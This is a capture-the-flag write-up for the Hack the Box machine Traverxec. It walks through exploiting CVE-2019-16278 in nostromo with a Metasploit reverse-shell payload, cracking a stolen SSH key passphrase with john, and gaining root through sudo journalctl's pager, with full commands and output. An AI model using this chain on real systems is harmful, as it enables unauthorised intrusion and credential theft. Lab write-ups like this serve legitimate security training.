Hack the Box Traverxec Writeup
Introduction
Traverxec is an easy box worth 20 points, hosted on 10.10.10.165
. As we will see the name is indicative of the vulnerability we’ll leverage to gain our initial foothold. Despite having had difficulty with a few steps, when it’s all said and done the box is rather simple. This writeup is a short one because of that.
Information Gathering
As always, we’ll add the IP of the box to our /etc/hosts
file. So, from here on out traverxec.htb
points to 10.10.10.165
.
Port Scan: Nmap
We begin our reconnaissance by running a port scan with Nmap, checking default scripts and testing for vulnerabilities.
root@kali:/media/sf_Research# nmap -sVC traverxec.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-12 15:40 EST
Nmap scan report for traverxec.htb (10.10.10.165)
Host is up (0.84s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|_ 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 196.10 seconds
The most important thing to notice here is that the web server running on this box is nostromo 1.9.6. Running a quick search for known vulnerabilities we find CVE-2019-16278, which is a remote code execution bug.
Directory Traversal in the function http_verify in nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via a crafted HTTP request.
Given the name of this box, we’re certainly going to be exploiting this to gain our initial foothold.
Exploitation
Foothold
We can use Metasploit’s module for CVE-2019-16278 and get a Meterpreter session on the box.
root@kali:~# msfconsole
[-] ***
. .
.
dBBBBBBb dBBBP dBBBBBBP dBBBBBb . o
' dB' BBP
dB'dB'dB' dBBP dBP dBP BB
dB'dB'dB' dBP dBP dBP BB
dB'dB'dB' dBBBBP dBP dBBBBBBB
dBBBBBP dBBBBBb dBP dBBBBP dBP dBBBBBBP
. . dB' dBP dB'.BP
| dBP dBBBB' dBP dB'.BP dBP dBP
--o-- dBP dBP dBP dB'.BP dBP dBP
| dBBBBP dBP dBBBBP dBBBBP dBP dBP
.
.
o To boldly go where no
shell has gone before
=[ metasploit v5.0.58-dev ]
+ -- --=[ 1936 exploits - 1079 auxiliary - 333 post ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
msf5 > set RHOSTS traverxec.htb
RHOSTS => traverxec.htb
msf5 > set LPORT 80
LPORT => 80
msf5 > use exploit/multi/http/nostromo_code_exec
msf5 exploit(multi/http/nostromo_code_exec) > set LHOST 10.10.15.60
LHOST => 10.10.15.60
msf5 exploit(multi/http/nostromo_code_exec) > set LPORT 1337
LPORT => 1337
msf5 exploit(multi/http/nostromo_code_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/http/nostromo_code_exec) > set target 1
target => 1
msf5 exploit(multi/http/nostromo_code_exec) > run
[*] Started reverse TCP handler on 10.10.15.60:1337
[*] Configuring Automatic (Linux Dropper) target
[*] Sending linux/x64/meterpreter/reverse_tcp command stager
[*] Sending stage (3021284 bytes) to 10.10.10.165
[*] Command Stager progress - 100.00% done (823/823 bytes)
[*] Meterpreter session 1 opened (10.10.15.60:1337 -> 10.10.10.165:47402) at 2019-12-17 13:27:54 -0500
meterpreter >
User Flag
After some manual exploration we find some interesting content inside of the /var/nostromo/conf
directory. There’s an .htpasswd
file, but we don’t need to use that, at least not the way we’re going about this. What’s interesting in this directory is the configuration file, nhttpd.conf
, which indicates the existence of another folder we need to take a look at.
meterpreter > cd /var/nostromo/conf
meterpreter > ls
Listing: /var/nostromo/conf
===========================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 41 fil 2019-10-25 15:20:50 -0400 .htpasswd
100644/rw-r--r-- 2928 fil 2019-10-25 14:43:20 -0400 mimes
100644/rw-r--r-- 498 fil 2019-10-27 16:12:13 -0400 nhttpd.conf
meterpreter > cat nhttpd.conf
# MAIN [MANDATORY]
servername traverxec.htb
serverlisten *
serveradmin david@traverxec.htb
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html
# LOGS [OPTIONAL]
logpid logs/nhttpd.pid
# SETUID [RECOMMENDED]
user www-data
# BASIC AUTHENTICATION [OPTIONAL]
htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd
# ALIASES [OPTIONAL]
/icons /var/nostromo/icons
# HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_www
The configuration file above indicates the existence of a public_www
directory inside the /home
directory. After some trial and error, we can determine that this is David’s home directory, as he’s the admin.
meterpreter > cd /home/david/public_www
meterpreter > ls
Listing: /home/david/public_www
===============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 402 fil 2019-10-25 15:45:10 -0400 index.html
40755/rwxr-xr-x 4096 dir 2019-10-25 17:02:59 -0400 protected-file-area
Now we find a directory named protected-file-area
inside of /home/david/public_www
. This folder contains backup-ssh-identity-files.tgz
, which we can hopefully use to gain user access to the box as david.
meterpreter > cd ./protected-file-area
meterpreter > ls
Listing: /home/david/public_www/protected-file-area
===================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 45 fil 2019-10-25 15:46:01 -0400 .htaccess
100644/rw-r--r-- 1915 fil 2019-10-25 17:02:59 -0400 backup-ssh-identity-files.tgz
meterpreter > download ./backup-ssh-identity-files.tgz ./
[*] Downloading: ./backup-ssh-identity-files.tgz -> .//backup-ssh-identity-files.tgz
[*] Downloaded 1.87 KiB of 1.87 KiB (100.0%): ./backup-ssh-identity-files.tgz -> .//backup-ssh-identity-files.tgz
[*] download : ./backup-ssh-identity-files.tgz -> .//backup-ssh-identity-files.tgz
meterpreter >
We can download the backup-ssh-identity-files.tgz
file through our Meterpreter session, and then extract it on our Kali box.
root@kali:~# tar -zxvf backup-ssh-identity-files.tgz
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub
When we try and use the keys we’ll see that David has set a password required to unlock them, annoying. Using ssh2john
we can create a hash of the private key to use to brute force the key through john.
root@kali:~/home/david/.ssh# python ~/Tools/ssh2john.py id_rsa > id_rsa_hash
root@kali:~/home/david/.ssh# ls -lah
total 24K
drwx------ 2 1000 1000 4.0K Dec 15 19:55 .
drwxr-xr-x 3 root root 4.0K Dec 12 20:27 ..
-rw-r--r-- 1 1000 1000 397 Oct 25 17:02 authorized_keys
-rw------- 1 1000 1000 1.8K Oct 25 17:02 id_rsa
-rw-r--r-- 1 root root 2.5K Dec 15 19:55 id_rsa_hash
-rw-r--r-- 1 1000 1000 397 Oct 25 17:02 id_rsa.pub
root@kali:~/home/david/.ssh# john id_rsa_hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter (id_rsa)
1g 0:00:00:06 DONE (2019-12-15 19:56) 0.1547g/s 2220Kp/s 2220Kc/s 2220KC/sa6_123..*7¡Vamos!
Session completed
root@kali:~/home/david/.ssh#
After running john and the rockyou.txt
wordlist to try and crack the key, we get hunter
. Now that we’ve got the got the keys and the credentials to use them, we can ssh in as David and grab the flag.
root@kali:~/home/david/.ssh# ssh david@traverxec.htb
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Sun Dec 15 19:54:38 2019 from 10.10.15.105
david@traverxec:~$
david@traverxec:~$ ls
bin public_www user.txt
david@traverxec:~$ cat user.txt
7db0b48469606a42cec20750d9782f3d
Root Flag
David’s home directory has a directory within it called /bin
, which sticks out immediately. Exploring that directory we find server-stats.sh
. This file appears to use the sudo command, as seen on the last line below.
david@traverxec:~$ ls
bin public_www user.txt
david@traverxec:~/bin$ ls
journalctl server-stats.head server-stats.sh
david@traverxec:~/bin$ cat server-stats.sh
#!/bin/bash
cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
david@traverxec:~/bin$
Knowing that this script is calling journalctl
as root means that it’s most definitely going to be what we need to exploit for our privilege escalation. Looking at GTFOBins for journalctl
it states that the pager will be invoked (less
). We can pop a shell using !/bin/sh
, or we can execute basically any commands we’d like if we precede them with !
.
After some playing around we can confirm that executing /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
does not require us to enter a password, and does indeed invoke less
. All we need to do in order to exploit this is to shrink the terminal window down a bit, under 6 lines, and execute !/bin/bash
to get our root shell.
david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Tue 2019-12-17 10:09:44 EST, end at Tue 2019-12-17 11:38:42 EST. --
Dec 17 11:15:54 traverxec sudo[2264]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Dec 17 11:15:54 traverxec sudo[2264]: www-data : command not allowed ; TTY=unknown ; PWD=/usr/bin ; USER=root ; COMMAND=list
Dec 17 11:18:40 traverxec sudo[2319]: pam_unix(sudo:auth): conversation failed
Dec 17 11:18:40 traverxec sudo[2319]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Dec 17 11:18:40 traverxec sudo[2319]: www-data : command not allowed ; TTY=unknown ; PWD=/usr/bin ; USER=root ; COMMAND=list
!/usr/bin/bash
root@traverxec:/home/david/bin# cat /root/root.txt
9aa36a6d76f785dfd320a478f6e0d906
root@traverxec:/home/david/bin#
Conclusion
This box was really straight forward for the most part. The initial foothold was obvious, and using the Metasploit module made it very easy. Finding the public directory inside David’s home directory via the nostromo configuration was probably the most confusing part, at least from my perspective. Once we found that directory, Meterpreter allowed us to download the backup file of ssh keys quite easily. The keys did have a password, but cracking this was also rather simple since the password would be present on almost any wordlist. The path to root was clear immediately after gaining access as the user. While the method we were to use to exploit it was also clear right away, actually doing so still took me about a day, as I was over thinking it a bit. Traverxec was a fun box, and well named. It was my first box in quite a few months, and a nice reintroduction.